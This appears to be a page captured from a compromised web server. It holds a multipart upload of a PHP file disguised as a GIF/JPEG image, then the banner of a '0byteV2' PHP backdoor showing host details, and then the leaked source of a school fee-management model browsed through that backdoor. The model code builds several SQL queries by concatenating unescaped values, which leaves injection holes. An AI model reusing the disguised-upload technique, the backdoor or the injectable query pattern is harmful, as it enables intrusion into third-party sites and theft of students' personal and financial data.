------WebKitFormBoundary5SePZ93NyvO6nCmJ Content-Disposition: form-data; name="qqfile"; filename="lera.php2" Content-Type: application/octet-stream GIF89a; ÿØÿà JFIF ÿí „Photoshop 3.0 8BIM hg Js4XT_wSZ67ehRpQTnMQ( JFBMD0f000770010000cd1d00002b54000065550000ec560000e488000080b80000b1bb0000ÿÛ C ")$+*($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHEÿÛ C !!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEÿ €" ÿÄ ÿÄ ÿÚ ù úȉ{j êv $àiwžœöˆ'Ýœ«§ôåÝU >À [T€ÕôuÕæî§—ÈúWÃúþÀ Iô1óËî£;˜‘ò8ØN¸£•w@cŽºóê¶'»6r´G[É]X«§=&5³uÝ÷mqÖÑSÞœX†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†Zò²²²²²²‹@ ŸMöóù‹éy3÷ëûOcõjSƒvQÎSÞŸ9yWI$ä`äÝO‡/çWyå¼ã›Ï¸ëSãý+ƒ §e,/~™}_^Ç*—~IM•ÇЫäÞý¿yð—ÞðO;šƒ›ÊoCŸ¿c_ÇëüYÈåmѧíö=%÷Ä¢^EΫW•Y±ýÊöZm.läýúlûŸ‘cÛòóP=Ÿ™Zé<9Ï%âGoÈŠ›é<@MÆ>§—›;yüÇn1;v‰626,=V~”qú<‘ušã’ëÑ/1íä5¯…a6=|å¹ìy~Õž[æ?Sù[Yyˆëûn#®>{fŒ§ì…¹wýú&³>F­Úžã–'Íj,*³¨½75œ½õG¦Ëêè>¯¹IdÔy=ùbØïËTi°¸u—†ì8t¬ºÃfmmíEÞ„K óãøî×çÙé;d’Þå·s<†½»»)<ãû,–œ˜ùì}Sg'¿¿Ÿ§ÆŠÆ[yò nÓ¼õïµç¯CÑæèÂP­Ño®)4ôå‹ÓÕÚ¯?òÿ ªry×»¤–fÚý‹ï¾!‹Â_Ô~GosöѤë9a³ùU Ç;c¯tyí=óѳXßcQ'¦-Ú6z|ùA™–ì)îjyïWMÌõü·KqMu¬ôÖPlºg“ù¯×ø\o™›/T½dÍ6lü×fZÚóÍ{#\yž,/dhWºý°·eßÏË%•·ÓUô;Ÿ“g¼“[ ¾÷›ò:Uâá_¼‘‹Ó¥ÛeNuWɨ3­Ð¼ò\½%ÌðÇ|5µ[q†±/ ˜j|wèùÌëhvkØJ[eèâÑ7EÌê~Ûå¸]w+Ùsß;qWmsÕÙ×ÙîRpýßÌ%¼ÓY/.Žâ¶ïO™Déêó®s)q%Ù”t²±ÕÕ·ìùyŸ>>ûìÖüwâCÛŽÆ|d<÷/L<Ø]¦øUF¼î&'=Þµrý„i¯—Bî¹¼©qݯ;Ã<6K“Á™Œdê·jGuÀ};Y¶¾^¹ü¾³èU¸×Ï´^Àãß =44 ÂNç[ß5Ÿ}ó™oUyèä‰>¹Ï§¹¬ç¸¿Üòß/k]hÏSg]iµWÍ>£óLX;6d½uå-þ§â-ÍlLµÍA¯é}ι:zùj|ߢ_¶åæ]üþ=K+Ìõš3Çaæ^z2óÐôyæ^²ðÇ̼1{âÉ“¢C\ßÏûÎ*øýw/iËuëÁëÁ²ÂìîoѾwô=N’4½=8ÒÓ¡çuË´ñûaèÙ6¦¾ãzñ®Ç~®¼±ó=öYQ·Â6çŽc×£Ð2½ðyèó¼<Ç"ÉߣrÕstIiù.î¢>x;ÅîÕÓäß2Âty|úïúGÎ>§¼YF“¯ È’ôç§/:,¿º²Vɲ(úlwÏåñ>‹O×—«£ÑÛ”©ºvý,˜øÔݺdðëæ¾=SÙW[YÑÙÖÙjiù§Ô¹y®C.†$Yô4WÚ Ú@²‚‹§çña¥ã,/&zWD´‰5õŒ±Ë·6éÝ.ØÛ4›rÇ3ÐzAàz<óу"ÊÏÈgŒ¸G›”¼ß7ô­-p6Ý”¼¹çQéñFϧ=ô¼vïžq¤ÅܯӶ'>”òr‰âöa*¦L·’+%±¾DûO»7½”ÁîøOg—´gRæÃ³Æáôu6wKade¦ÞÓÝsD¼cfaqMth®¸†SÐvÚ£‰uÐcŸÆßFuG_yX}C/=ëÏ ºó—diI9yéï¾z <ôxW¾~6K†ÍûåÓ¿!–xì=÷OL¢6cו3¹¼ôÙ¯Ù%­;fñÙ×^v㵎žüdgEËçßB×¼ü~/}Âk2¬kìµ2±‡mǧ;:¾É/ìël«me¥maŽÂ@µ­²\ [×pŠGõ­2Ã^³(›õ–Ï=¦Í[eò.íd¿|ô{ç  z,¯=Ù5~^Ç¢½ô2Ù†p÷gî#6Ô.o«ä¸öª<'®tʾ§é•¾¯=•g?3Rân­Õ/~½¬ú#Îs£ÀùL¾§šíÎEµm§=r¶,K»:Ë3lƒÜ’¾ÆåÝ|3ÖDÖÏÃ6bš´I×^ûç§›ônšÑ†ÜO¾z=óРЯ|¶êË:ÏÝ#w¾l<^áéëAŠå­…˜sG1Ç·?®LŸ7£G¯g³Ç3›è¹­gËÝdØS‰4íL˜ú5ìÒ{Íôšu8ë3²ç§×ØÙsgWfoƒ:†^ed)‘e,ˆ“bù‘1ó?0Ù‰«^ívaïž™nײjÌÒG¾z=óРЯpñwéÎfl}Û½5gèôcž³hÀÏÍ^ÖTöÚq¾RöfR±Ë¼¤UMÓ›+ º 2"nY;aäKö)a„|ÌòÓ´ãkz8%Õm•ͽ¥M©"¸¦Dß«j̉.)“Òcæ^ãž&¼6áQÞz›vc”Ô=šö¦×žžïƒ×ƒ×ƒ×ƒ&%=ÌÛ»^üë/™<ôyèÃVQ„-ÕD¹4ö¦ü°ôÊ$˜$KNK¯2Ã=ZÌI”ÖyÔ½9hY9éÍvç§a–!t]LÙn ®¯»ª(¬«,®m-ªíjDYQcÁdm˜dM&:ûïž§žeáŽ9xa¯n²Xe©+-{3¨;ôo³?qÊø=yè ûž½¦ì±Ù=÷ÓܼÀË^™èzAÑC(m«,Íž{‰–ºJkÍ2O`Í¢³EµY¾³Et¹gå+$l‹´ßž­¢¶Ú¼Ûº¿s2àOŒr–uÖzÍ•­E¹"<ˆæ>ùêhÇ, úwjW¾zžy—†8çá†ëHáž’žjΣÈ&ç?qôõàõâ_^^^}ÇÕ÷||ɹDÛn÷ÌÃ/O^j6jÕ¨k•¸å­4ïìôÇTÍf¬ â¶ß/OnsUW|ÏAô™ùŸNm©îýy› ËˆTϬ±IúvéNRÒ®×Y°¶¨¶$èݤÇß=MZwÇ,uç¨×çúS…Èíü㥺ã=yêJ¿Fn‰påÙŸ¸z{î>ž¼¼¼¼1õ¬·ã*\}ÛŽožâ6{€Éæg¹éÒJÓ£Ly|zöXóÕ™ßYËÕÁƽž¹pÇ,N’Öžû¯>¡¯×÷¾ãž³·v.r÷©£|bªd-õe†&y‹:›{™¶ôÖĽ;u˜{á0¾)c«f³çg'×ú¶ˆ®ñNVo…Uç¯mJÑ–ƒTÈS}ÇÓßqö=x=x=x=x=÷Vný;ecîÜëN[r5ûž&:öº¬=+¥Ëôƒó?©|Ã:‹Ž¬üþœôg£;kÕ†ñ»Í;7Ï¡é9Γ¦3Ãf»%nÃlmϬõ§±%WÕtÚûDß[qªÎ:ö¢ÚæUÅ5Á/°1ð5Å•²×ù×WÍt%ûÜSÌ}òÏ0Ï]p™üåË·Ò5|ð¿A‘óaô§ÍGÒ½ù ú[æƒéoš¥¾h>–ù ú^1/Õòù0úÎ#G×qù úÃäãëyü„}/¯êù/‡Õ9nT]m ó¿ÓOä½u‡ Ö{ìx?S»ÝóÕ}óŸkéÙ|Çú†_-R|·Óê0¾v®Ö_}//šxv2ø/dú ‡ËGÖ_&W| }V'ÍGÕ}ùHëí>x>¯çÊGÕŸ)GÕqùb½` !ž‘Òt GHÒt™7«%•«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²­Ø3333333333333¡k—¯’u£’u£’u£’u£’u£“è&5Æ"[\b%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰c×ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1Ù€ )ìMí;€ ‰‘šd  WJ7€ 5Íq¦4$•mɪÒblJûcdZúÓéœ×CÏš'èÒd œXXÂÐY×i–Næ$Ä;kŠÒ.4Ç+Ð’4Tj,zJi†uÒ®@ ä <ôyè1È 9Ï@äzr cç  ;©Ë\áA.ãrÛέG‰|åî‰ÈS@ SÜ^·º¡ Ié12ïÇ¿¸È‡3Ï@ §µ3!@<=yè ÃÔ9€ÀÍH Dе“HdÀÄ –ê°ö¿TRF°‹9”ÞùQôåF¨´çYŽÆÝUFî‡çÿ @8{¬9âö eéa_¸h•Œ2æG-Ñ6À„M¢ys„j‚Æ]©×rýGn—ÉÙ“çÒX rrY 1d ¢¼ôyèãÐ ä=är Œ9Úé@ IÎ^Yy¶Œîœôbúg1<¸s°Î¹Éô$µ.¢ýÊm:g'd]B©€vJZã«SzYã›;5ƒ¦s™šÀê!G©:·5 ½QV{ŸÒtÎg¡6¹I¥ó”ÚtÎkYÐI¥º _`>y+·ôå w.¯ âs::üNã£ä»Æìë¼9º^ÿ AÉ{+¥8Ýß§!CôÜNOÀAæ»LNÞóœÇ§9ËèYùμqº;N[Eéó½HðæúPâr»¹>wi×dsUý=AïH ô á h!“ h „M ,ÉDbK^À‡0 e N…¸¾ÆBl¨ÒÈ7ìÓf"ûŸ¸(er–fWÔYö|ñWŸ5r\m ¾Ó§QâžqmËÝÓúkàÞc@_aKК¤êô÷fª‚ßÝ4ÇЀ xôc 9 äyŽAç£ÏAŽCÇ¡Ž@ W£Ç  eQYóSK…#ªr3ŽÌôÄ)¼E±ÐãËG:­uµ‡dæ§í\ñÓ9;ñÍzt‘*v38^ ²sðαÎút.r!×9¹e„žG#¬rsÌÍ.TUÇ\äý:·-b\)î Ez8Ÿ{\N&Ï¥ç=ôAó¤yéÍT÷cæ]WéËÖw~œt~çMJ9¼:qó™ý®GkÒäsžtƒ›tƒš¥ïü8ùÝã¦Í°8Kîsp;:r—ÎÄq6½ù·KÒoWSáÇö>z ))†’H"i”ÃI%Ž@ Bš w™€€ W´DyT³ÌfQxZE§é ¹hÞGßQ<…g¨êôBØiÛßå$ó^r<$@®®:Ï#î0—S(Ï^ÈEäZ襔(EÖ0eǯ¯-6CZèªØMe‰£dJ“§¸å;p 1È<ô @ o9™.Î’XßËÚ=/9Ñžr<$@®®:Ï#î%Á‰¤°Ë_›%ò–äü<¨,0¢˜MH4Âôºò³Y»\œŒôÐë> ä Ž@9 *t^†99 1È Ž@rrr9r )í²ä <ô óÚRçÞgQÕ¹ìK™4ÂçÞgQ}7—š]«)έG èܶGN ˆ^Íãå,I\9Ý9èÇUž¸í\î'Hæ5VŽNؾ‰+‡;§=ê¡Ó׫Èè¾Ã¤s9Ÿè ㊧úXãö[[í¬ñÅSý,q¶ ¢«¾˜qÛ;LNqÒŽ>“éxœUŸH1â;œNWÐq9½ æùï¢âq½ ã¤uÎ#¹Äáu}˜ÛÒnèŸ;¾êÍîzꂳ«óÐ ò!0 ä †` Ë:"@•·Òvþ›¨ìëK+sÒú=f¢D†ãD¬a—29nˆ ·…¼‡æÒ<îwis®óD½uD­Ôgœ>o¤ ä ccñèÇ ƒÇ£ÏCƒƒE}¸Ç %³œ–\F¨€u{(ôœ[eÌJ/aSh:ÕF%Ë–œ]¨"S””t0è0:íTVdüe¡~æEÌÞ*Ø¿Q êöQè:77dY Háäõãçø}#¯úävu9u}‡‡Î,ûOJ-AI‡g‘ÉHé=9ªžì|Ë£ê29»Yã‹ÝäpvýG·«ðà0úG_ôÇXt ¤¦‚4 ¤€ <=F’ h h ŠJ!@ Šöˆ¯µ¦ÖYWÀ½7DÓHu‘`f]é×F\k¥èˆöá—_hr6üÎÂß\AkŸ=,•¯d"ò-tSe¶º’Âo!ÐåÔÊ2ƒX:}õX–÷§V 0byteV2 - PHP Backdoor
Linux 116-202-49-93.cprapid.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 [ FIND EXPLOIT ]
[ MySQL: OFF ][ Curl: OFF ][ Wget: OFF ][ Perl: OFF ][ Compiler: OFF ]

Disable Function: exec,passthru,shell_exec,system

/home/vhtecindia/public_html/bcvps.in/application/models/
load->config('ci-blog'); $this->balance_group = $this->config->item('ci_balance_group'); $this->balance_type = $this->config->item('ci_balance_type'); $this->current_session = $this->setting_model->getCurrentSession(); } public function searchAssignFeeByClassSection($class_id = null, $section_id = null, $fee_session_group_id = null, $category = null, $gender = null, $rte = null) { $sql = "SELECT IFNULL(`student_fees_master`.`id`, '0') as `student_fees_master_id`,`classes`.`id` AS `class_id`," . " `student_session`.`id` as `student_session_id`, `students`.`id`, " . "`classes`.`class`, `sections`.`id` AS `section_id`, `sections`.`section`, " . "`students`.`id`, `students`.`admission_no`, `students`.`roll_no`," . " `students`.`admission_date`, `students`.`firstname`, `students`.`lastname`," . " `students`.`image`, `students`.`mobileno`, `students`.`email`, `students`.`state`," . " `students`.`city`, `students`.`pincode`, `students`.`religion`, `students`.`dob`, " . "`students`.`current_address`, `students`.`permanent_address`," . " IFNULL(students.category_id, 0) as `category_id`," . " IFNULL(categories.category, '') as `category`," . " `students`.`adhar_no`, `students`.`samagra_id`," . " `students`.`bank_account_no`, `students`.`bank_name`, `students`.`ifsc_code`," . " `students`.`guardian_name`, `students`.`guardian_relation`, `students`.`guardian_phone`," . " `students`.`guardian_address`, `students`.`is_active`, `students`.`created_at`," . " `students`.`updated_at`, `students`.`father_name`, `students`.`rte`," . " `students`.`gender` FROM `students` JOIN `student_session` " . "ON `student_session`.`student_id` = `students`.`id` JOIN `classes` " . "ON `student_session`.`class_id` = `classes`.`id` JOIN `sections` " . "ON `sections`.`id` = `student_session`.`section_id` LEFT JOIN `categories` " . "ON `students`.`category_id` = `categories`.`id` LEFT JOIN student_fees_master on" . " student_fees_master.student_session_id=student_session.id" . " AND student_fees_master.fee_session_group_id=" . $this->db->escape($fee_session_group_id) . "WHERE `student_session`.`session_id` = " . $this->current_session . " and `students`.`is_active` = 'yes'"; if ($class_id != null) { $sql .= " AND `student_session`.`class_id` = " . $this->db->escape($class_id); } if ($section_id != null) { $sql .= " AND `student_session`.`section_id` =" . $this->db->escape($section_id); } if ($category != null) { $sql .= " AND `students`.`category_id` =" . $this->db->escape($category); } if ($gender != null) { $sql .= " AND `students`.`gender` =" . $this->db->escape($gender); } if ($rte != null) { $sql .= " AND `students`.`rte` =" . $this->db->escape($rte); } $sql .= " ORDER BY `students`.`id`"; $query = $this->db->query($sql); return $query->result_array(); } public function add($data) { $this->db->where('student_session_id', $data['student_session_id']); $this->db->where('fee_session_group_id', $data['fee_session_group_id']); $q = $this->db->get('student_fees_master'); if ($q->num_rows() > 0) { return $q->row()->id; } else { $this->db->insert('student_fees_master', $data); return $this->db->insert_id(); } } public function addPreviousBal($student_data, $due_date) { $this->db->trans_start(); $this->db->trans_strict(false); $fee_group_exists = $this->feegroup_model->checkGroupExistsByName($this->balance_group); $fee_type_exists = $this->feetype_model->checkFeetypeByName($this->balance_type); $fee_group_id = 0; $fee_type_id = 0; if (!$fee_group_exists) { $this->db->insert('fee_groups', array('name' => $this->balance_group, 'is_system' => 1)); $fee_group_id = $this->db->insert_id(); } else { $fee_group_id = $fee_group_exists->id; } if (!$fee_type_exists) { $this->db->insert('feetype', array('type' => $this->balance_type, 'code' => $this->balance_type, 'is_system' => 1)); $fee_type_id = $this->db->insert_id(); } else { $fee_type_id = $fee_type_exists->id; } $to_be_insert = array( 'session_id' => $this->current_session, 'fee_groups_id' => $fee_group_id, 'feetype_id' => $fee_type_id, 'fee_session_group_id' => 0, 'due_date' => $due_date, ); $parentid = $this->feesessiongroup_model->group_exists($to_be_insert['fee_groups_id']); $to_be_insert['fee_session_group_id'] = $parentid; $session_group_exists = $this->feesessiongroup_model->checkExists($to_be_insert); if (!$session_group_exists) { $this->db->insert('fee_groups_feetype', $to_be_insert); } else { $this->db->where('id', $session_group_exists); $this->db->update('fee_groups_feetype', $to_be_insert); } $student_list = array(); if (isset($student_data) && !empty($student_data)) { $total_rec = count($student_data); for ($i = 0; $i < $total_rec; $i++) { $student_list[] = $student_data[$i]['student_session_id']; $student_data[$i]['id'] = 0; $student_data[$i]['fee_session_group_id'] = $parentid; } $check_insert_feemaster = $this->selectInArray($parentid, $student_list); if (!empty($check_insert_feemaster)) { $insert_new_student = array(); foreach ($student_data as $student_key => $student_value) { $student_data[$student_key]['id'] = $this->findValueExists($check_insert_feemaster, $student_value['student_session_id']); if ($student_data[$student_key]['id'] == 0) { $insert_new_student[] = $student_data[$student_key]; unset($student_data[$student_key]); } } if (!empty($insert_new_student)) { $this->db->insert_batch('student_fees_master', $insert_new_student); } $this->db->update_batch('student_fees_master', $student_data, 'id'); } else { $this->db->insert_batch('student_fees_master', $student_data); } } $this->db->trans_complete(); if ($this->db->trans_status() === false) { $this->db->trans_rollback(); return false; } else { $this->db->trans_commit(); return true; } } public function findValueExists($array, $find) { $id = 0; foreach ($array as $x => $x_value) { if ($x_value->student_session_id == $find) { return $x_value->id; } } return $id; } public function selectInArray($fee_session_groups, $student_session_array) { $this->db->where('fee_session_group_id', $fee_session_groups); $this->db->where_in('student_session_id', $student_session_array); $q = $this->db->get('student_fees_master'); $result = $q->result(); return $result; } public function delete($fee_session_groups, $array) { $this->db->trans_start(); # Starting Transaction $this->db->trans_strict(false); # See Note 01. If you wish can remove as well //=======================Code Start=========================== $this->db->where('fee_session_group_id', $fee_session_groups); $this->db->where_in('student_session_id', $array); $this->db->delete('student_fees_master'); $message = DELETE_RECORD_CONSTANT . " On student fees master " . $fee_session_groups; $action = "Delete"; $record_id = $fee_session_groups; $this->log($message, $record_id, $action); //======================Code End============================== $this->db->trans_complete(); # Completing transaction /* Optional */ if ($this->db->trans_status() === false) { # Something went wrong. $this->db->trans_rollback(); return false; } else { //return $return_value; } } public function getBalanceMasterRecord($group_name, $student_session_array) { $sql = "select * from student_fees_master where student_session_id in $student_session_array and fee_session_group_id=(SELECT id FROM `fee_session_groups` where fee_groups_id=(SELECT id FROM `fee_groups` WHERE name=" . "'" . $group_name . "'" . ") and session_id=$this->current_session)"; $query = $this->db->query($sql); $result = $query->result(); return $result; } public function getStudentFees($student_session_id) { $sql = "SELECT `student_fees_master`.*,fee_groups.name FROM `student_fees_master` INNER JOIN fee_session_groups on student_fees_master.fee_session_group_id=fee_session_groups.id INNER JOIN fee_groups on fee_groups.id=fee_session_groups.fee_groups_id WHERE `student_session_id` = " . $student_session_id . " ORDER BY `student_fees_master`.`id`"; $query = $this->db->query($sql); $result = $query->result(); if (!empty($result)) { foreach ($result as $result_key => $result_value) { $fee_session_group_id = $result_value->fee_session_group_id; $student_fees_master_id = $result_value->id; $result_value->fees = $this->getDueFeeByFeeSessionGroup($fee_session_group_id, $student_fees_master_id); if ($result_value->is_system != 0) { $result_value->fees[0]->amount = $result_value->amount; } } } return $result; } public function getDueFeeByFeeSessionGroup($fee_session_groups_id, $student_fees_master_id) { $sql = "SELECT student_fees_master.*,fee_groups_feetype.id as `fee_groups_feetype_id`,fee_groups_feetype.amount,fee_groups_feetype.due_date,fee_groups_feetype.fee_groups_id,fee_groups.name,fee_groups_feetype.feetype_id,feetype.code,feetype.type, IFNULL(student_fees_deposite.id,0) as `student_fees_deposite_id`, IFNULL(student_fees_deposite.amount_detail,0) as `amount_detail` FROM `student_fees_master` INNER JOIN fee_session_groups on fee_session_groups.id = student_fees_master.fee_session_group_id INNER JOIN fee_groups_feetype on fee_groups_feetype.fee_session_group_id = fee_session_groups.id INNER JOIN fee_groups on fee_groups.id=fee_groups_feetype.fee_groups_id INNER JOIN feetype on feetype.id=fee_groups_feetype.feetype_id LEFT JOIN student_fees_deposite on student_fees_deposite.student_fees_master_id=student_fees_master.id and student_fees_deposite.fee_groups_feetype_id=fee_groups_feetype.id WHERE student_fees_master.fee_session_group_id =" . $fee_session_groups_id . " and student_fees_master.id=" . $student_fees_master_id . " order by fee_groups_feetype.due_date ASC"; $query = $this->db->query($sql); return $query->result(); } public function getDueFeeByFeeSessionGroupFeetype($fee_session_groups_id, $student_fees_master_id, $fee_groups_feetype_id) { $sql = "SELECT student_fees_master.id,student_fees_master.is_system,student_fees_master.student_session_id,student_fees_master.fee_session_group_id,student_fees_master.amount as `student_fees_master_amount`,fee_groups_feetype.id as `fee_groups_feetype_id`,students.firstname,students.admission_no,students.lastname,student_session.class_id,classes.class,sections.section,students.guardian_name,students.father_name,student_session.section_id,student_session.student_id,fee_groups_feetype.amount,fee_groups_feetype.due_date,fee_groups_feetype.fee_groups_id,fee_groups.name,fee_groups_feetype.feetype_id,feetype.code,feetype.type, IFNULL(student_fees_deposite.id,0) as `student_fees_deposite_id`, IFNULL(student_fees_deposite.amount_detail,0) as `amount_detail` FROM `student_fees_master` INNER JOIN fee_session_groups on fee_session_groups.id = student_fees_master.fee_session_group_id INNER JOIN fee_groups_feetype on fee_groups_feetype.fee_session_group_id = fee_session_groups.id INNER JOIN fee_groups on fee_groups.id=fee_groups_feetype.fee_groups_id INNER JOIN feetype on feetype.id=fee_groups_feetype.feetype_id LEFT JOIN student_fees_deposite on student_fees_deposite.student_fees_master_id=student_fees_master.id and student_fees_deposite.fee_groups_feetype_id=fee_groups_feetype.id INNER JOIN student_session on student_session.id= student_fees_master.student_session_id INNER JOIN classes on classes.id= student_session.class_id INNER JOIN sections on sections.id= student_session.section_id INNER JOIN students on students.id=student_session.student_id WHERE student_fees_master.fee_session_group_id =" . $fee_session_groups_id . " and student_fees_master.id=" . $student_fees_master_id . " and fee_groups_feetype.id= " . $fee_groups_feetype_id; $query = $this->db->query($sql); return $query->row(); } public function fee_deposit($data, $send_to, $student_fees_discount_id = null) { $this->db->where('student_fees_master_id', $data['student_fees_master_id']); $this->db->where('fee_groups_feetype_id', $data['fee_groups_feetype_id']); $q = $this->db->get('student_fees_deposite'); if ($q->num_rows() > 0) { $desc = $data['amount_detail']['description']; $this->db->trans_start(); // Query will be rolled back $row = $q->row(); $this->db->where('id', $row->id); $a = json_decode($row->amount_detail, true); $inv_no = max(array_keys($a)) + 1; $data['amount_detail']['inv_no'] = $inv_no; $a[$inv_no] = $data['amount_detail']; $data['amount_detail'] = json_encode($a); $this->db->update('student_fees_deposite', $data); if ($student_fees_discount_id != null) { $this->db->where('id', $student_fees_discount_id); $this->db->update('student_fees_discounts', array('status' => 'applied', 'description' => $desc, 'payment_id' => $row->id . "/" . $inv_no)); } $this->db->trans_complete(); if ($this->db->trans_status() === false) { $this->db->trans_rollback(); return false; } else { $this->db->trans_commit(); return json_encode(array('invoice_id' => $row->id, 'sub_invoice_id' => $inv_no)); } } else { $this->db->trans_start(); // Query will be rolled back $data['amount_detail']['inv_no'] = 1; $desc = $data['amount_detail']['description']; $data['amount_detail'] = json_encode(array('1' => $data['amount_detail'])); $this->db->insert('student_fees_deposite', $data); $inserted_id = $this->db->insert_id(); if ($student_fees_discount_id != null) { $this->db->where('id', $student_fees_discount_id); $this->db->update('student_fees_discounts', array('status' => 'applied', 'description' => $desc, 'payment_id' => $inserted_id . "/" . "1")); } $this->db->trans_complete(); # Completing transaction if ($this->db->trans_status() === false) { $this->db->trans_rollback(); return false; } else { $this->db->trans_commit(); return json_encode(array('invoice_id' => $inserted_id, 'sub_invoice_id' => 1)); } } } public function get_feesreceived_by() { $result = $this->db->select('CONCAT_WS(" ",staff.name,staff.surname) as name, staff.employee_id,staff.id')->from('staff')->join('staff_roles', 'staff.id=staff_roles.staff_id')->where('staff.is_active', '1')->get()->result_array(); foreach ($result as $key => $value) { $data[$value['id']] = $value['name'] . " (" . $value['employee_id'] . ")"; } return $data; } public function getFeeCollectionReport($start_date, $end_date, $received_by = null, $group = null) { $this->db->select('`student_fees_deposite`.*,students.firstname,students.lastname,student_session.class_id,classes.class,sections.section,student_session.section_id,student_session.student_id,`fee_groups`.`name`, `feetype`.`type`, `feetype`.`code`,student_fees_master.student_session_id')->from('student_fees_deposite'); $this->db->join('fee_groups_feetype', 'fee_groups_feetype.id = student_fees_deposite.fee_groups_feetype_id'); $this->db->join('fee_groups', 'fee_groups.id = fee_groups_feetype.fee_groups_id'); $this->db->join('feetype', 'feetype.id = fee_groups_feetype.feetype_id'); $this->db->join('student_fees_master', 'student_fees_master.id=student_fees_deposite.student_fees_master_id'); $this->db->join('student_session', 'student_session.id= student_fees_master.student_session_id', 'left'); $this->db->join('classes', 'classes.id= student_session.class_id'); $this->db->join('sections', 'sections.id= student_session.section_id'); $this->db->join('students', 'students.id=student_session.student_id'); //$this->db->where('student_fees_deposite.id !=',65); $this->db->order_by('student_fees_deposite.id'); $query = $this->db->get(); $result_value = $query->result(); // echo "
";print_r($result_value); echo "
";die;
        //echo $this->db->last_query();die;
        $return_array = array();
        if (!empty($result_value)) {
            $st_date = strtotime($start_date);
            $ed_date = strtotime($end_date);
            foreach ($result_value as $key => $value) {
                if ($received_by != null) {

                    $return = $this->findObjectByCollectId($value, $st_date, $ed_date, $received_by);
                } else {

                    $return = $this->findObjectById($value, $st_date, $ed_date);
                }

                if (!empty($return)) {

                    foreach ($return as $r_key => $r_value) {

                        $a['id'] = $value->id;
                        $a['student_fees_master_id'] = $value->student_fees_master_id;
                        $a['fee_groups_feetype_id'] = $value->fee_groups_feetype_id;
                        $a['firstname'] = $value->firstname;
                        $a['lastname'] = $value->lastname;
                        $a['class_id'] = $value->class_id;
                        $a['class'] = $value->class;
                        $a['section'] = $value->section;
                        $a['section_id'] = $value->section_id;
                        $a['student_id'] = $value->student_id;
                        $a['name'] = $value->name;
                        $a['type'] = $value->type;
                        $a['code'] = $value->code;
                        $a['student_session_id'] = $value->student_session_id;
                        $a['amount'] = $r_value->amount;
                        $a['date'] = $r_value->date;
                        $a['amount_discount'] = $r_value->amount_discount;
                        $a['amount_fine'] = $r_value->amount_fine;
                        $a['description'] = $r_value->description;
                        $a['payment_mode'] = $r_value->payment_mode;
                        $a['inv_no'] = $r_value->inv_no;
                        $a['received_by'] = $r_value->received_by;
                        if (isset($r_value->received_by)) {

                            $a['received_by'] = $r_value->received_by;
                            $a['received_byname'] = $this->staff_model->get_StaffNameById($r_value->received_by);
                        } else {

                            $a['received_by'] = '';
                            $a['received_byname'] = array('name' => '', 'employee_id' => '', 'id' => '');
                        }

                        $return_array[] = $a;
                    }
                }
            }
        }

        return $return_array;
    }

    public function getFeeBetweenDate($start_date, $end_date) {
        $this->db->select('`student_fees_deposite`.*,students.firstname,students.lastname,student_session.class_id,classes.class,sections.section,student_session.section_id,student_session.student_id,`fee_groups`.`name`, `feetype`.`type`, `feetype`.`code`,student_fees_master.student_session_id')->from('student_fees_deposite');
        $this->db->join('fee_groups_feetype', 'fee_groups_feetype.id = student_fees_deposite.fee_groups_feetype_id');

        $this->db->join('fee_groups', 'fee_groups.id = fee_groups_feetype.fee_groups_id');
        $this->db->join('feetype', 'feetype.id = fee_groups_feetype.feetype_id');
        $this->db->join('student_fees_master', 'student_fees_master.id=student_fees_deposite.student_fees_master_id');
        $this->db->join('student_session', 'student_session.id= student_fees_master.student_session_id');
        $this->db->join('classes', 'classes.id= student_session.class_id');

        $this->db->join('sections', 'sections.id= student_session.section_id');
        $this->db->join('students', 'students.id=student_session.student_id');
        $this->db->order_by('student_fees_deposite.id');
        $query = $this->db->get();
        $result_value = $query->result();
        //echo $this->db->last_query();die;
        $return_array = array();
        if (!empty($result_value)) {
            $st_date = strtotime($start_date);
            $ed_date = strtotime($end_date);
            foreach ($result_value as $key => $value) {
                //  print_r($value);die;
                $return = $this->findObjectById($value, $st_date, $ed_date);

                if (!empty($return)) {

                    foreach ($return as $r_key => $r_value) {
                        $a['id'] = $value->id;
                        $a['student_fees_master_id'] = $value->student_fees_master_id;
                        $a['fee_groups_feetype_id'] = $value->fee_groups_feetype_id;
                        $a['firstname'] = $value->firstname;
                        $a['lastname'] = $value->lastname;
                        $a['class_id'] = $value->class_id;
                        $a['class'] = $value->class;
                        $a['section'] = $value->section;
                        $a['section_id'] = $value->section_id;
                        $a['student_id'] = $value->student_id;
                        $a['name'] = $value->name;
                        $a['type'] = $value->type;
                        $a['code'] = $value->code;
                        $a['student_session_id'] = $value->student_session_id;
                        $a['amount'] = $r_value->amount;
                        $a['date'] = $r_value->date;
                        $a['amount_discount'] = $r_value->amount_discount;
                        $a['amount_fine'] = $r_value->amount_fine;
                        $a['description'] = $r_value->description;
                        $a['payment_mode'] = $r_value->payment_mode;
                        $a['inv_no'] = $r_value->inv_no;

                        $return_array[] = $a;
                    }
                }
            }
        }

        return $return_array;
    }

    public function getDepositAmountBetweenDate($start_date, $end_date) {

        $this->db->select('`student_fees_deposite`.*')->from('student_fees_deposite');
        $this->db->order_by('student_fees_deposite.id');
        $query = $this->db->get();
        $result_value = $query->result();
//echo "
"; print_r($end_date); echo "
